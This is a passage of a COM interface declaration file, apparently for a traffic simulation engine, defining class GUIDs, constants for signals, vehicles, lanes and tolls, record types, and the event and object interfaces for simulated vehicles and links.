CLASS_TsmSegment : String = '{C4B0256B-39F4-44FF-9425-758C993A3EFB}';
CLASS_TsmSegments : String = '{3B43D6FF-9BE2-458E-B71D-D90FE655978F}';
CLASS_TsmLane : String = '{10EDE541-0C1F-4280-A550-FF396AC6E99F}';
CLASS_TsmLanes : String = '{00B4E1FC-AB5D-45E1-99DA-A9EA63E71794}';
CLASS_TsmConnector : String = '{CC5F098D-3EB3-4B6E-868A-537D05D12F80}';
CLASS_TsmConnectors : String = '{08FA166D-6E97-433E-8FAE-DADA31923F69}';
CLASS_TsmSensor : String = '{24B84964-C848-4FF0-92AC-D1354E113CC5}';
CLASS_TsmSensors : String = '{6F024354-3400-41AB-B665-71D844DA606B}';
CLASS_TsmSensorStation : String = '{BD4F9085-2E6D-4F02-A69B-E06FF967FA1D}';
CLASS_TsmSensorStations: String = '{10054C01-5DF7-4929-9104-FFC268BDCD22}';
CLASS_TsmSignal : String = '{A1B4A98A-9A84-4DF7-98AB-82A84C58CEE2}';
CLASS_TsmSignals : String = '{6395FB30-EB69-47C3-992F-D82B59E815DC}';
CLASS_TsmVehicle : String = '{52915AC7-12D2-4F4E-B0FA-381936ED55E4}';
CLASS_TsmVehicles : String = '{051C7F4D-5E8B-4C2A-99F8-15A789299376}';
CLASS_TsmTrafficManager: String = '{9FAB203D-EBD5-46FA-8673-E0149E45683F}';
CLASS_TsmController : String = '{B615E202-85A9-4BB5-9D43-EC6BF1135744}';
CLASS_TsmControllers : String = '{01AB2EFD-936D-4D69-8513-E7BB74D84B89}';
CLASS_TsmPhase : String = '{A7CDA36B-56F8-4C0D-B9B0-79F35B8BAAD0}';
CLASS_TsmPhases : String = '{AEB4566F-8D39-4D5F-90C9-57C1559D8092}';
CLASS_TsmStage : String = '{F9D57D42-5314-4964-9075-6702ED2FEED7}';
CLASS_TsmStages : String = '{728DDECE-1F65-4986-84C4-365A34BCF512}';
CLASS_TsmHotEntrance : String = '{F9D57D42-5314-4964-9075-6702ED2FEEA1}';
CLASS_TsmHotEntrances : String = '{728DDECE-1F65-4986-84C4-365A34BCF5A2}';
CLASS_TsmHotSection : String = '{F9D57D42-5314-4964-9075-6702ED2FEEA3}';
CLASS_TsmHotSections : String = '{728DDECE-1F65-4986-84C4-365A34BCF5A4}';
CLASS_TsmTollPlaza : String = '{67836913-E261-4368-829B-646E583B2B25}';
CLASS_TsmTollPlazas : String = '{2476254E-504C-41B6-B63F-C4DED824C3BE}';
CLASS_TsmTollBooth : String = '{D5C210E8-DBA0-42AF-AC00-3FB6AF115374}';
CLASS_TsmTollBooths : String = '{0D888FE2-1855-43B0-90C0-235F2FD2DFDB}';
CLASS_TsmToll : String = '{33C90824-99D1-4E6D-A66B-73FF7B59D99C}';
CLASS_TsmTolls : String = '{372B48BA-3842-4FCE-B220-4E30D7108AF0}';
CLASS_TsmRouter : String = '{E43EE6A9-CFB5-45D9-B760-09A798F30467}';
CLASS_TsmPath : String = '{7ECE64EC-21A8-4C48-82A7-D891EB70B4D7}';
CLASS_TsmTransit : String = '{1022C0D5-FFF7-49BD-8063-65440CC21E7B}';
CLASS_TsmRoute : String = '{FE6F92C0-8615-4BAC-AAB7-880AF11819EE}';
CLASS_TsmStop : String = '{5853FDE6-6259-495C-A20B-DE64BC901A72}';
CLASS_TsmStops : String = '{89014D44-723F-491D-83CC-52F87C8B13C9}';
type
TsmRunType = public UInt32;
const
RUNTYPE_PLAYBACK = $00000000;
RUNTYPE_EMULATION = $00000001;
RUNTYPE_ONE = $00000002;
RUNTYPE_BATCH = $00000003;
RUNTYPE_DTA = $00000004;
RUNTYPE_CALIBRATION = $00000005;
type
TsmState = public UInt32;
const
STATE_ERROR = $FFFFFFFC;
STATE_CANCELED = $FFFFFFFD;
STATE_NOTSTARTED = $FFFFFFFE;
STATE_DONE = $FFFFFFFF;
STATE_RUNNING = $00000000;
STATE_PAUSED = $00000001;
STATE_PRELOADED = $00000009;
STATE_UNKNOWN = $00000063;
type
TsmControlClass = public UInt32;
const
UNKNOWN_CONTROL = $FFFFFFF7;
SIGNAL_CONTROL = $00000000;
INTERSECTION_CONTROL = $00000001;
LANEACCESS_CONTROL = $00000002;
type
TsmHotState = public UInt32;
const
HOT_NONE = $00000000;
HOT_YES = $00000001;
HOT_ON = $00000002;
type
TsmLocationType = public UInt32;
const
LOCATION_NONE = $00000000;
LOCATION_NODE = $00000001;
LOCATION_LINK = $00000002;
LOCATION_CENTROID = $00000003;
type
TsmFidelity = public UInt32;
const
FIDELITY_NONE = $00000000;
FIDELITY_MICRO = $00000001;
FIDELITY_MESO = $00000002;
FIDELITY_MACRO = $00000003;
type
TsmDirection = public UInt32;
const
TSM_EAST = $00000000;
TSM_SOUTH = $00000001;
TSM_WEST = $00000002;
TSM_NORTH = $00000003;
TSM_SOUTHEAST = $00000004;
TSM_SOUTHWEST = $00000005;
TSM_NORTHWEST = $00000006;
TSM_NORTHEAST = $00000007;
type
TsmTurn = public UInt32;
const
TURN_ULEFT = $00000000;
TURN_LEFT = $00000001;
TURN_SLIGHTLEFT = $00000002;
TURN_STRAIGHT = $00000003;
TURN_SLIGHTRIGHT = $00000004;
TURN_RIGHT = $00000005;
TURN_URIGHT = $00000006;
type
TsmConnectorType = public UInt32;
const
CONNECTOR_ALL = $00000000;
CONNECTOR_MERGE = $00000001;
CONNECTOR_DIVERGE = $00000002;
CONNECTOR_PARALLEL = $00000003;
type
TsmReversible = public UInt32;
const
NEITHER_DIRECTION = $00000000;
AB_DIRECTION = $00000001;
BA_DIRECTION = $00000002;
SHARED = $00000003;
type
TsmSide = public UInt32;
const
NEITHER_SIDE = $00000000;
RIGHT_SIDE = $00000001;
LEFT_SIDE = $00000002;
BOTH_SIDES = $00000003;
type
TsmAuxiliary = public UInt32;
const
AUX_NONE = $00000000;
AUX_ACC = $00000001;
AUX_DEC = $00000002;
AUX_BOTH = $00000003;
type
TsmHOV = public UInt32;
const
SOV = $00000001;
HOV2 = $00000002;
HOV3 = $00000003;
type
TsmAccess = public UInt32;
const
ACCESS_ALLOWED = $00000000;
ACCESS_PROHIBITED = $00000001;
ACCESS_RESERVED = $00000002;
type
TsmVALevel = public UInt32;
const
VALEVEL_NONE = $00000000;
VALEVEL_ACCELERATION = $0000001A;
VALEVEL_STEERING = $0000001B;
VALEVEL_PARTIAL = $00000020;
VALEVEL_CONDITIONAL = $00000030;
VALEVEL_HIGH = $00000040;
VAEVELL_FULL = $00000050;
type
TsmDetectionType = public UInt32;
const
NONE_TYPE = $00000000;
PRESENCE_TYPE = $00000001;
PULSE_TYPE = $00000002;
type
TsmSignalState = public UInt32;
const
BLANK_SIGNAL = $00000000;
RED_SIGNAL = $00000001;
YELLOW_SIGNAL = $00000002;
GREEN_SIGNAL = $00000003;
FREE_SIGNAL = $00000004;
RTOR_SIGNAL = $00000005;
PROTECTED_SIGNAL = $00000007;
TRANSIT_PROTECTED_SIGNAL = $00000008;
FLASHINRED_SIGNAL = $00000009;
FLASHINGYELLOW_SIGNAL = $0000000A;
NONTRANSIT_PERMITTED_SIGNAL = $0000000B;
BLOCKED_SIGNAL = $0000000C;
NONTRANSIT_PROTECTED_SIGNAL = $0000000F;
type
TsmVP = public UInt32;
const
VP_COORD = $00000000;
VP_HEADING = $00000001;
VP_3D = $00000002;
VP_ALL = $00000003;
type
TsmTripType = public UInt32;
const
TT_REGULAR = $00000000;
TT_ACCESS = $00000001;
TT_BUSINESS = $00000002;
TT_CLOSING = $00000003;
type
TsmControllerType = public UInt32;
const
CONTROLLER_UNKNOWN = $FFFFFFF7;
CONTROLLER_METERING = $FFFFFFFF;
CONTROLLER_LANEACCESS = $00000000;
CONTROLLER_PRETIMED = $00000001;
CONTROLLER_NEMA = $00000002;
CONTROLLER_170 = $00000003;
CONTROLLER_OTHER = $00000004;
type
TsmPhaseState = public UInt32;
const
PHASE_IDLE = $00000000;
PHASE_RED = $00000001;
PHASE_YELLOW = $00000002;
PHASE_GREEN = $00000003;
type
TsmStageState = public UInt32;
const
STAGE_SERVED = $FFFFFFFF;
STAGE_NONE = $00000000;
STAGE_RED = $00000001;
STAGE_YELLOW = $00000002;
STAGE_GREEN = $00000003;
type
TsmSectionType = public UInt32;
const
ZONE_TOLL = $00000001;
OD_TOLL = $00000002;
type
TsmFareType = public UInt32;
const
FARE_NONE = $00000000;
FARE_FIXED = $00000001;
FARE_TIMED = $00000002;
FARE_TRAFFIC = $00000003;
FARE_USER = $00000004;
type
TsmAngleType = public UInt32;
const
AZIMUTH = $00000000;
CARTESIAN = $00000001;
RADIAN = $00000002;
type
TsmPreload = public UInt32;
const
PRELOAD_DONE = $FFFFFFFF;
PRELOAD_OFF = $00000000;
PRELOAD_ON = $00000001;
type
TsmVehicleType = public UInt32;
const
VT_ETC = $00000200;
VT_HOV = $00000800;
VT_TRANSIT = $00002000;
VT_TRUCK = $00008000;
VT_USERA = $00020000;
VT_USERB = $00080000;
VT_HOT = $01000000;
VT_PROBE = $04000000;
VT_HEAVY = $08000000;
VT_ALL = $0D0AAA00;
type
TsmTripState = public UInt32;
const
TRIPSTATE_PRETRIP = $00000000;
TRIPSTATE_UNSERVED = $00000001;
TRIPSTATE_ENROUTE = $00000002;
TRIPSTATE_STALLED = $00000003;
TRIPSTATE_MISSED = $00000004;
TRIPSTATE_DONE = $00000005;
TRIPSTATE_PRELOAD = $00000006;
TRIPSTATE_ABORTED = $00000007;
type
TsmLaneChangeState = type Int16;
const
LCS_RIGHT = $0001;
LCS_LEFT = $0002;
LCS_LR = $0003;
LCS_CHANGING = $0004;
LCS_MANDATORY = $0010;
type
STsmTransitInfo = public record
public
var Size: Int16;
var TripID: Int16;
var NumberOfPassengers: Int16;
var MaxCapacity: Int16;
var RouteID: Integer;
var StopID: Integer;
var Delay: Single;
var Reserved: Integer;
end;
STsmLocation = public record
public
var &Type: TsmLocationType;
var ID: Integer;
end;
STsmCoord3 = public record
public
var Longitude: Integer; // 10^-6 degrees
var Latitude: Integer; // 10^-6 degrees
var Elevation: Single; // meters or feet.
end;
STsmPathInfo = public record
public
var Size: Int16;
var NumberOfLink: Int16;
var StartLinkIndex: Int16;
var OriginLinkIndex: Int16;
var DestinationLinkIndex: Int16;
var NumberOfNodesWithSignalsAndSigns: Int16;
var PathID: Integer;
var LengthByFreeway: array[0..1] of Single;
var TravelTime: Single;
var Toll: Single;
var GeneralizedCost: Single;
var UserCost: Single;
end;
STsmVehicleInfo = public record
public
var Size: Int16;
var LaneChangeState: TsmLaneChangeState;
var Accel: Single;
var Speed: Single;
var DesiredSpeed: Single;
var OffsetFromLaneCenter: Single;
end;
STsmPosition = public record
public
var Longitude: Integer;
var Latitude: Integer;
var Elevation: Single;
var Angle: Single;
var Angle1: Single;
var Angle2: Single;
end;
STsmPositionXyz = public record
public
var X: Double;
var Y: Double;
var Z: Double;
var Angle: Double;
var Angle1: Double;
var Angle2: Double;
end;
STsmPoint3 = public record
public
var X: Double;
var Y: Double;
var Z: Single;
end;
[COM, Guid('{9B3B22CA-9E51-4124-9B05-21A1FE538E32}')]
_ISimulationEvents = public interface(IUnknown)
[CallingConvention(CallingConvention.Stdcall)]
method OnProjectOpened(
const aProjectFileName: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnSimulationStarting(
aRunSeqID: Int16;
aRunType: TsmRunType;
aIsInPreload: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnSimulationStarted: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnAdvance(
aTime: Double;
out aNextTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnSimulationStopped(
aState: TsmState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnSimulationEnded(
aState: TsmState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnProjectClosed: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnTsmApplicationShutdown: HRESULT;
end;
[COM, Guid('{5683D24E-0FB1-480D-A153-E78C91BC8047}')]
_ISensorEvents = public interface(IUnknown)
[CallingConvention(CallingConvention.Stdcall)]
method OnVehicleEnter(
aSensorID: Integer;
aVehicleID: Integer;
aActivateTime: Double;
aSpeed: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnVehicleLeave(
aSensorID: Integer;
aVehicleID: Integer;
aDeactivateTime: Double;
aSpeed: Single
): HRESULT;
end;
[COM, Guid('{5683D24E-0FB1-480D-A154-E78C91BC8047}')]
_ISignalEvents = public interface(IUnknown)
[CallingConvention(CallingConvention.Stdcall)]
method OnSignalPlanStarted(
aCookie: Integer;
aControllClass: TsmControlClass;
aIDs: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnSignalPlanEnded(
aCookie: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnHotFaresInitialized(
aEntranceID: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnHotFaresReleased(
aEntranceID: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnSignalStateChanged(
aSignalID: Integer;
aTime: Double;
aState: TsmSignalState
): HRESULT;
end;
[COM, Guid('{266A8735-597B-45BD-90CB-80796741BD64}')]
_IVehicleEvents = public interface(IUnknown)
[CallingConvention(CallingConvention.Stdcall)]
method OnDeparted(
aVehicleID: Integer;
aTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnParked(
aVehicleID: Integer;
aTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnStalled(
aVehicleID: Integer;
aTime: Double;
aStalled: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnArrived(
aVehicleID: Integer;
aTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnEnterLane(
const aVehicle: ITsmVehicle;
aLaneID: Integer;
aLaneEntryTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnEnterSegment(
const aVehicle: ITsmVehicle;
aSegmentID: Integer;
aSegmentEntryTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnEnterLink(
const aVehicle: ITsmVehicle;
aLinkID: Integer;
aLinkEntryTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnPathChanged(
const aVehicle: ITsmVehicle;
aPathID: Integer;
aPosition: Integer;
aTime: Double
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnEnterTransitStop(
aTime: Double;
const aVehicle: ITsmVehicle;
const aRoute: ITsmRoute;
const aStop: ITsmStop;
aMaxCapacity: Int16;
aPassengers: Int16;
aDelay: Single;
aDefaultDwellTime: Single;
out aDwellTime: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnAvlUpdate(
const aVehicle: ITsmVehicle;
aVehicleClassIndex: Int16;
aOccupancy: Int16;
aPremptionTypeIndex: Int16;
var aCoordinate: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnCalculateLinkCost(
aVehicleClassIndex: Int16;
aOccupancy: Int16;
aDriverGroupIndex: Int16;
aVehicleType: TsmVehicleType;
aLinkEntryTime: Double;
const aFromLink: ITsmLink;
const aLink: ITsmLink;
var aValue: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnGetPropertyValue(
const aVehicle: ITsmVehicle;
aColumnIndex: Int16;
out aValue: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method OnSetPropertyValue(
const aVehicle: ITsmVehicle;
aColumnIndex: Int16;
aValue: VARIANT
): HRESULT;
end;
[COM, Guid('{DF992021-08C4-45C9-B1CC-34E2F22D71EE}')]
ITsmVehicle = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_Okay(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Class_(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Group(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_HOT(
out pVal: TsmHotState
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTransit(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTruck(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsETC(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsUserA(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsUserB(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsProbe(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsTollFree(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsLaneless(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsMotorized(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UserA(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_UserA(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UserB(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_UserB(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_MinGap(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Length(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VOT(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Occupants(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TransitInfo(
out pVal: STsmTransitInfo
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Origin(
out pVal: STsmLocation
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Destination(
out pVal: STsmLocation
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method SetDestination(
var pDes: STsmLocation;
idPath: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ExitLink(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ExitPosition(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_ExitPosition(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ExitRelativePosition(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_ExitRelativePosition(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Lane(
out pVal: ITsmLane
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segment(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Link(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Connector(
out pVal: ITsmConnector
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Path(
out pVal: ITsmPath
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_NextLink(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_NextTurn(
out pVal: TsmTurn
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LastConnector(
out pVal: ITsmConnector
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Fidelity(
out pVal: TsmFidelity
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Distance(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Offset(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Offset(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DesiredSpeed(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_DesiredSpeed(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Speed(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Speed(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Acceleration(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Acceleration(
pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Info(
out pVal: STsmVehicleInfo
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Info(
pVal: ^STsmVehicleInfo
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_MaxAcceleration(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneChanges(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LaneChanging(
out pVal: TsmSide
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Front(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Back(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Leader(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Follower(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LeaderInLeftLane(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_LeaderInRightLane(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FollowerInLeftLane(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FollowerInRightLane(
out pVal: ITsmVehicle
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Position(
fOffset: Single;
mask: TsmVP;
out pVal: STsmPosition
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method PositionXyz(
fOffset: Single;
mask: TsmVP;
out pVal: STsmPositionXyz
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Stop(
bSlowly: VARIANT_BOOL;
bStall: VARIANT_BOOL;
fStopTime: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Start: HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method MoveTo(
fDis: Single;
fSpeed: Single;
fAcc: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method MoveToLane(
idLane: Integer;
fDis: Single;
fSpeed: Single;
fAcc: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method MoveToConnector(
idConnector: Integer;
fDis: Single;
fSpeed: Single;
fAcc: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method ChangeLane(
iLane: Int16;
fSpeed: Single;
fAcc: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method UpdateRouteChoice(
out pIdLink: Integer;
out pIdPath: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Tracking(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Tracking(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Marked(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Marked(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_AccTracking(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_AccTracking(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_AccOverride(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_AccOverride(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Stalled(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Stalled(
pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Stall(
bSlowly: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Center(
out pVal: STsmCoord3
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method GetTripInfo(
var ppVal: ITsmAttributes
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TripType(
out pVal: TsmTripType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_PreviousID(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Parked(
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_VehicleType(
out pVal: TsmVehicleType
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Gap(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Headway(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_GapTo(
idVehicle: Integer;
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_AutomationLevel(
out pVal: TsmVALevel
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_AutomationLevel(
pVal: TsmVALevel
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Value(
const fldName: OleString;
out pVal: VARIANT
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Set_Value(
const fldName: OleString;
pVal: VARIANT
): HRESULT;
end;
[COM, Guid('{0D99A556-F2CE-47BB-B292-D72C4EE3AE0D}')]
ITsmObject = public interface(IDispatch)
[CallingConvention(CallingConvention.Stdcall)]
method Get_id(
out pVal: Integer
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_aIndex(
out pVal: Integer
): HRESULT;
end;
[COM, Guid('{BD329B79-5C12-4477-A453-90B838EF36F2}')]
ITsmLink = public interface(ITsmObject)
[CallingConvention(CallingConvention.Stdcall)]
method Get_SegmentCount(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segments(
out pVal: ITsmSegments
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Segment(
iPosition: Int16;
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_BeginSegment(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_EndSegment(
out pVal: ITsmSegment
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Direction(
out pVal: TsmDirection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_CardinalDirection(
out pVal: TsmDirection
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamNode(
out pVal: ITsmNode
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamNode(
out pVal: ITsmNode
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Opposite(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamOpposite(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamOpposite(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Name(
out pVal: OleString
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Length(
out pVal: Single
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_ExitSignal(
out pVal: ITsmSignal
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Signals(
out pVal: ITsmSignals
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_SiblingLink(
iPosition: Int16;
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_FirstDownstreamLink(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_OppositeApproach(
out pVal: ITsmLink
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TurnAngle(
iDnsLink: Int16;
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_TurnType(
iDnsLink: Int16;
out pVal: TsmTurn
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_Turns(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_UpstreamaIndex(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_DownstreamaIndex(
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsConnectedTo(
iDnsLink: Int16;
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_IsUturn(
iDnsLink: Int16;
out pVal: VARIANT_BOOL
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
method Get_MovementaIndex(
iDnsLink: Int16;
out pVal: Int16
): HRESULT;
[CallingConvention(CallingConvention.Stdcall)]
